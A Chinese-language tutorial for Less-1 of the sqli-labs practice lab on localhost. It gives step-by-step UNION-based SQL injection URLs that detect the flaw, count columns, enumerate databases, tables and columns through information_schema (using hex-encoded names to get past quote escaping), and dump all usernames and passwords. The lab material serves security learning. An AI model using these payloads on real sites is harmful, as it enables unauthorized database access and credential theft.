1. 搭建靶場,進入第一關(guān),靶場搭建可參照[sqli-labs 靶場搭建]
2. 正常 URL:
http://127.0.0.1/sqli/Less-1/?id=1
3. 檢查是否有注入機會(加引號):
http://127.0.0.1/sqli/Less-1/?id=1'
(1) 查看頁面是否會報 SQL 語法錯誤,若顯示語法錯誤,則表示有注入的機會

--- 若存在注入機會,則可以通過下列方法撈出底層數(shù)據(jù)庫中的表數(shù)據(jù)內(nèi)容 ---
4. 查詢當前使用的表有多少列:
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
(1) --+ 的作用是注釋屏蔽后續(xù)的 SQL 語句(用于屏蔽開發(fā)者本意想要的 SQL 內(nèi)容)
(2) order by 的用法是根據(jù)第 N 列排序,若報錯提示第 N 列不存在,則說明表中沒有第 N 列
(3) 通過是否存在第 N 列,可以找到該表總共有多少列


5. 查看哪些列可以回顯:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
(1) union 的用法是取前表內(nèi)容和后表內(nèi)容的集合
(2) 此處通過改 id=-1 來使前表查詢內(nèi)容為空,進而結(jié)果只取后表內(nèi)容
(3) 而后表是我們自己構(gòu)造的 SQL,故通過構(gòu)造一個和原數(shù)據(jù)表等列數(shù)的數(shù)據(jù)表,再根據(jù)頁面回顯的內(nèi)容可以判斷出前端頁面取的是哪個列項的數(shù)據(jù)

6. 查看當前使用的數(shù)據(jù)庫:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database() --+
(1) database() 的用法是返回當前使用的數(shù)據(jù)庫名稱
(2) 探查到前端取數(shù)邏輯后,就可以在其取數(shù)位置上做文章
(3) 這里我們讓第 3 列的數(shù)據(jù)取 database()
(4) 那么頁面回顯的內(nèi)容及當前使用的數(shù)據(jù)庫名稱

7. 查看數(shù)據(jù)庫下所有表名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
(1) 0x7365637572697479 為 security 的十六進制轉(zhuǎn)換(轉(zhuǎn)換原因:若是'security'也是可以查詢的,但有時候單引號會被轉(zhuǎn)義,故直接使用十六進制可以避免該情況)
(2) information_schema.tables 中存放著數(shù)據(jù)庫中的所有表名
(3) group_concat() 的用法是拼接所有列項數(shù)據(jù)

8. 查看表下所有字段名:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+
(1) 0x7365637572697479 為 security 的十六進制轉(zhuǎn)換
(2) 0x7573657273 為 users 的十六進制轉(zhuǎn)換
(3) information_schema.columns 中存放著數(shù)據(jù)庫中所有列項名稱

9. 查看表下所有用戶和密碼:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'~',password)) from security.users --+

10. 此外,也可以查看所有的數(shù)據(jù)庫名稱:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
